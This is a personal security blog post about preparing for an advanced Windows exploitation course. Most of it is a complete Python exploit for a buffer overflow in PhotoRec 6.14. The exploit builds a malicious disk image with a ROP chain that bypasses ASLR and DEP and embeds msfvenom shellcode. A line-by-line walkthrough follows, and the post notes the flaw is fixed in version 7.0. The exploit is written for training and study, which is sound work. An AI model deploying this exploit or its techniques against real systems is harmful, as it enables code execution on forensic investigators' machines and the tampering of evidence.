Exploiting the forensic investigator (AWE course training)

This summer i am attending the Advanced Windows Exploitation (AWE) course of Offensive PhotoRec-logoSecurity. The AWE course has been on my wishlist for a long time, because the previous courses (OSCP and OSCE) were amazing. One of the requirements for the AWE course, according to offsec, is a will to suffer intensely.

After completing OSCE, i’ve spend quite some time on exploit development. My thesis was to discover previously unknown vulnerabilities and exploit them. During this thesis i discovered a vulnerability in Wireshark (CVE-2014-2299).

However, this is around three years ago. To get ready for the AWE course, i really have to refresh my exploit development skills. So far, i wrote the following exploits to get ready for AWE:

  • EasyToMp3 – basic buffer overflow
  • The Offsec AWE challenge (very cool, they sent you a challenge to make sure you have the minimal knowledge)
  • Wireshark – basic buffer overflow
  • Wireshark – bypassing ASLR/DEP on Windows XP

After the Wireshark exploit i wanted to continue exercising writing exploits. However, rewriting known exploits is quite boring. Therefor i decided to search for a publicly known vulnerability, without a publicly available exploit.

Photorec

During my search i came across a vulnerability in Photorec 6.14, which is shipped with Testdisk. The vulnerability was discovered by Denis Andzakovic. Photorec is a data carving tool which can be used to carve files from disk images. The utility is commonly used in digital forensic investigations to restore deleted files from a hard drive. The vulnerability could allow a criminal to prepare his/her disks in order to exploit the forensic tooling to get a hint that his data is being looked at or get an actual shell on the investigators system. The latter would allow the criminal to manipulate the evidence. There is an update available for Photorec that fixed the vulnerability (version 7.0). For the forensics it is important to make sure that they are using this version.

I decided to write a exploit for the vulnerability in Photorec 6.14. The target system is a Windows 7 machine, with ASLR and DEP enabled. The exploit writes an malicious image file to disk. When opening this image file with the “photorec_win.exe” executable, the following Windows appears:

testdisk_window

After selecting the image by clicking “Proceed”, the vulnerability gets triggered. The shellcode is executed, for example a shell can be obtained on the system that opens the image file:

Screen Shot 2016-06-06 at 19.24.25

After some time of development, the final exploit code looks like this:


#!/usr/bin/python
# Author: forsec.nl
# Tested on: Windows 7 Professional (x86) SP1 ASLR + DEP bypass

import struct

def p(x):
    return struct.pack('<L', x)

# msfvenom -p windows/exec CMD=calc.exe EXITFUNC=seh -f python -b \x00
shellcode = ""
shellcode += "\xba\xbd\xcc\x42\xc6\xda\xdf\xd9\x74\x24\xf4\x5f\x33"
shellcode += "\xc9\xb1\x31\x83\xc7\x04\x31\x57\x0f\x03\x57\xb2\x2e"
shellcode += "\xb7\x3a\x24\x2c\x38\xc3\xb4\x51\xb0\x26\x85\x51\xa6"
shellcode += "\x23\xb5\x61\xac\x66\x39\x09\xe0\x92\xca\x7f\x2d\x94"
shellcode += "\x7b\x35\x0b\x9b\x7c\x66\x6f\xba\xfe\x75\xbc\x1c\x3f"
shellcode += "\xb6\xb1\x5d\x78\xab\x38\x0f\xd1\xa7\xef\xa0\x56\xfd"
shellcode += "\x33\x4a\x24\x13\x34\xaf\xfc\x12\x15\x7e\x77\x4d\xb5"
shellcode += "\x80\x54\xe5\xfc\x9a\xb9\xc0\xb7\x11\x09\xbe\x49\xf0"
shellcode += "\x40\x3f\xe5\x3d\x6d\xb2\xf7\x7a\x49\x2d\x82\x72\xaa"
shellcode += "\xd0\x95\x40\xd1\x0e\x13\x53\x71\xc4\x83\xbf\x80\x09"
shellcode += "\x55\x4b\x8e\xe6\x11\x13\x92\xf9\xf6\x2f\xae\x72\xf9"
shellcode += "\xff\x27\xc0\xde\xdb\x6c\x92\x7f\x7d\xc8\x75\x7f\x9d"
shellcode += "\xb3\x2a\x25\xd5\x59\x3e\x54\xb4\x37\xc1\xea\xc2\x75"
shellcode += "\xc1\xf4\xcc\x29\xaa\xc5\x47\xa6\xad\xd9\x8d\x83\x4c"
shellcode += "\x2b\x1c\x19\xd8\x92\xf5\x60\x84\x24\x20\xa6\xb1\xa6"
shellcode += "\xc1\x56\x46\xb6\xa3\x53\x02\x70\x5f\x29\x1b\x15\x5f"
shellcode += "\x9e\x1c\x3c\x3c\x41\x8f\xdc\xed\xe4\x37\x46\xf2"

# Virtualprotect function
params = "XXXX" # virtualprotect address
params += "UUUU" # shellcode address
params += "IIII" # shellcode address
params += "WWWW" # size (0x700)
params += "YYYY" # executable (0x40)
params += "PPPP" # writable address

# EAX == mainly used for calculations reg
# ECX == stack mov dword pointer
# EDX == used to pop static sub/add values in

# Retrieve the current stack position
rop_chain = p(0x0045cdde) # 0x0045cdde : # PUSH ESP # POP EBP # RETN
rop_chain += p(0x005ac103) # 0x005ac103 (RVA : 0x001ac103) : # POP ECX # RETN ** [photorec_win.exe] ** | startnull {PAGE_EXECUTE_READWRITE}
rop_chain += p(0x0)
rop_chain += p(0x61060893) # 0x61060893 (RVA : 0x00060893) : # ADD ECX,EBP # RETN ** [cygwin1.dll] ** | {PAGE_EXECUTE_READ}
rop_chain += p(0x005e0400) # 0x005e0400 : # POP EDX # RETN ** [photorec_win.exe] ** | startnull {PAGE_EXECUTE_READWRITE}
rop_chain += p(0x20)
rop_chain += p(0x6113ab15) # 0x6113ab15 : # SUB ECX,EDX # MOV EAX,ECX # POP EBP # RETN ** [cygwin1.dll] ** | {PAGE_EXECUTE_READ}
rop_chain += p(0x41414141)

# Dynamic virtualprotect address
rop_chain += p(0x6113b484) # 0x6113b484 (RVA : 0x0013b484) : # MOV EAX,ECX # POP EBP # RETN ** [cygwin1.dll] ** | {PAGE_EXECUTE_READ}
rop_chain += p(0x41414141)
rop_chain += p(0x005e0400) # 0x005e0400 : # POP EDX # RETN ** [photorec_win.exe] ** | startnull {PAGE_EXECUTE_READWRITE}
rop_chain += p(0x55A8)
rop_chain += p(0x6112e342) # 0x6112e342 (RVA : 0x0012e342) : # ADD EAX,EDX # RETN ** [cygwin1.dll] ** | {PAGE_EXECUTE_READ}
rop_chain += p(0x611001d9) # 0x611001d9 : # MOV EAX,DWORD PTR [EAX] # RETN ** [cygwin1.dll] ** | {PAGE_EXECUTE_READ}
rop_chain += p(0x005e0400) # 0x005e0400 : # POP EDX # RETN ** [photorec_win.exe] ** | startnull {PAGE_EXECUTE_READWRITE}
rop_chain += p(0x51B6D)
rop_chain += p(0x6112952e) # 0x6112952e : # SUB EAX,EDX # RETN ** [cygwin1.dll] ** | {PAGE_EXECUTE_READ}
rop_chain += p(0x61027919) # 0x61027919 : # MOV DWORD PTR [ECX],EAX # RETN ** [cygwin1.dll] ** | ascii {PAGE_EXECUTE_READ}

# ROP chain first param
rop_chain += p(0x006a27ff)*4 # 0x006a27ff (RVA : 0x002a27ff) : # INC ECX # RETN ** [photorec_win.exe] ** | startnull {PAGE_EXECUTE_READWRITE}
rop_chain += p(0x6113b484) # 0x6113b484 (RVA : 0x0013b484) : # MOV EAX,ECX # POP EBP # RETN ** [cygwin1.dll] ** | {PAGE_EXECUTE_READ}
rop_chain += p(0x41414141)
rop_chain += p(0x005e0400) # 0x005e0400 : # POP EDX # RETN ** [photorec_win.exe] ** | startnull {PAGE_EXECUTE_READWRITE}
rop_chain += p(0x184)
rop_chain += p(0x611294e9) # 0x611294e9 : # ADD EAX,EDX # RETN ** [cygwin1.dll] ** | {PAGE_EXECUTE_READ}
rop_chain += p(0x61027919) # 0x61027919 : # MOV DWORD PTR [ECX],EAX # RETN ** [cygwin1.dll] ** | ascii {PAGE_EXECUTE_READ}

# Second param
rop_chain += p(0x006a27ff)*4 # 0x006a27ff (RVA : 0x002a27ff) : # INC ECX # RETN ** [photorec_win.exe] ** | startnull {PAGE_EXECUTE_READWRITE}
rop_chain += p(0x61027919) # 0x61027919 : # MOV DWORD PTR [ECX],EAX # RETN ** [cygwin1.dll] ** | ascii {PAGE_EXECUTE_READ}

# Third param
rop_chain += p(0x006a27ff)*4 # 0x006a27ff (RVA : 0x002a27ff) : # INC ECX # RETN ** [photorec_win.exe] ** | startnull {PAGE_EXECUTE_READWRITE}
rop_chain += p(0x005e0290) # 0x005e0290 : # POP EAX # RETN ** [photorec_win.exe] ** | startnull {PAGE_EXECUTE_READWRITE}
rop_chain += p(0x1000)
rop_chain += p(0x61027919) # 0x61027919 : # MOV DWORD PTR [ECX],EAX # RETN ** [cygwin1.dll] ** | ascii {PAGE_EXECUTE_READ}

# Fourth param
rop_chain += p(0x006a27ff)*4 # 0x006a27ff (RVA : 0x002a27ff) : # INC ECX # RETN ** [photorec_win.exe] ** | startnull {PAGE_EXECUTE_READWRITE}
rop_chain += p(0x005e0290) # 0x005e0290 : # POP EAX # RETN ** [photorec_win.exe] ** | startnull {PAGE_EXECUTE_READWRITE}
rop_chain += p(0x40)
rop_chain += p(0x61027919) # 0x61027919 : # MOV DWORD PTR [ECX],EAX # RETN ** [cygwin1.dll] ** | ascii {PAGE_EXECUTE_READ}

# Writable address
rop_chain += p(0x006a27ff)*4 # 0x006a27ff (RVA : 0x002a27ff) : # INC ECX # RETN ** [photorec_win.exe] ** | startnull {PAGE_EXECUTE_READWRITE}
rop_chain += p(0x00549b76) # 0x00549b76 : # MOV EAX,ECX # POP EBX # RETN ** [photorec_win.exe] ** | startnull {PAGE_EXECUTE_READWRITE}
rop_chain += p(0x41414141)
rop_chain += p(0x005e0400) # 0x005e0400 : # POP EDX # RETN ** [photorec_win.exe] ** | startnull {PAGE_EXECUTE_READWRITE}
rop_chain += p(0x368)
rop_chain += p(0x611294e9) # 0x611294e9 : # ADD EAX,EDX # RETN ** [cygwin1.dll] ** | {PAGE_EXECUTE_READ}
rop_chain += p(0x61027919) # 0x61027919 : # MOV DWORD PTR [ECX],EAX # RETN ** [cygwin1.dll] ** | ascii {PAGE_EXECUTE_READ}

# JMP to Virtualprotect
rop_chain += p(0x005e0400) # 0x005e0400 : # POP EDX # RETN ** [photorec_win.exe] ** | startnull {PAGE_EXECUTE_READWRITE}
rop_chain += p(0x10)
rop_chain += p(0x6113ab15) # 0x6113ab15 : # SUB ECX,EDX # MOV EAX,ECX # POP EBP # RETN ** [cygwin1.dll] ** | {PAGE_EXECUTE_READ}
rop_chain += p(0x45454545)
rop_chain += p(0x61133291) # 0x61133291 (RVA : 0x00133291) : # XCHG EAX,ESP # RETN ** [cygwin1.dll] ** | {PAGE_EXECUTE_READ}

eip = "42390361" # 0x61033942 ADD ESP,20 # RETN [cygwin1.dll]
img = "eb3c906d6b646f776673000008048e000100008010f8010001000100000000eb3c906d6b6400298f6262ed20202020202020202020204641542020202020202046415431322020200e1fbe5b7cac22c0740bf032e4cd1ecd19ebfe54686973206973206e6f74206120626f6f7461626c65206469736b2e2020506c6561736520696e73657274206120626f6f7461626c6520666c6f70707920616e640d0a707265737320616e79206b657920746f2074727920616761696e202e2e2e400d0a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000eeffff7fff000000000000000000000000000000000000000000000000d6d6d6d6d6d6d6d6d6d6d6d6d6d6d6d6d6d6d6d6d6d6d6d6d6d6d6d6d6d6000000000000fee000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000ff0fffe9000000e60040000000000000001e0000000000000000000000f40000000000e4fdf2ffff0000000000000000001000ff000000000000000000000000000000800000000504ff0000000000000000edf70000008000000000000000000005000000000000000023000000008000fff300000000040000000000000000000000ff0000f8ff001700000000009685858580ff000000000000000055aa00000000000000298f6262ed" + eip
junk_before_params = "\x90" * 4
junk_after_params = "\x90" * 4
junk_before_shellcode = "\x90" * (364-len(rop_chain))
junk_after_shellcode = "\x90" * (500-len(shellcode))
writable_area = "W" * 3000

final_img = img.decode('hex') + junk_before_params + params + junk_after_params + rop_chain + junk_before_shellcode + shellcode + junk_after_shellcode + writable_area
f = open("disk.img", "wb")
f.write(final_img)
f.close()

print "Disk image written"

Some technical explanation on the exploit (using line numbers):

  • #106 The image requirements are prepared that triggers the vulnerability.
  • #30 The Virtualprotect placeholders are defined on the stack.
  • #105 Jump to the beginning of the ROP chain (#43)
  • #42 Retrieve the current stack pointer and calculate the address of the Virtualprotect placeholders on the stack
  • #52 Calculate the Virtualprotect address dynamically by using an existing kernel32 call on the stack. Place it on the placeholder at #31.
  • #64 Calculate the shellcode address and place it on the placeholder at #32
  • #73 Place the shellcode address also at the placeholder at #33
  • #77 Place the value 0x1000 (size) on the placeholder at #34
  • #83 Place the value 0x40 (executable) on the placeholder at #35
  • #89 Calculate a writable address, place it on the placeholder at #36
  • #99 Jump to Virtualprotect which executes the shellcode, because all requirements are satisfied for Virtualprotect in order to work.

I am really looking forward for the AWE course. My intention is to write a AWE course review after the course. See you at Blackhat && Defcon!

Leave a Reply

Your email address will not be published. Required fields are marked *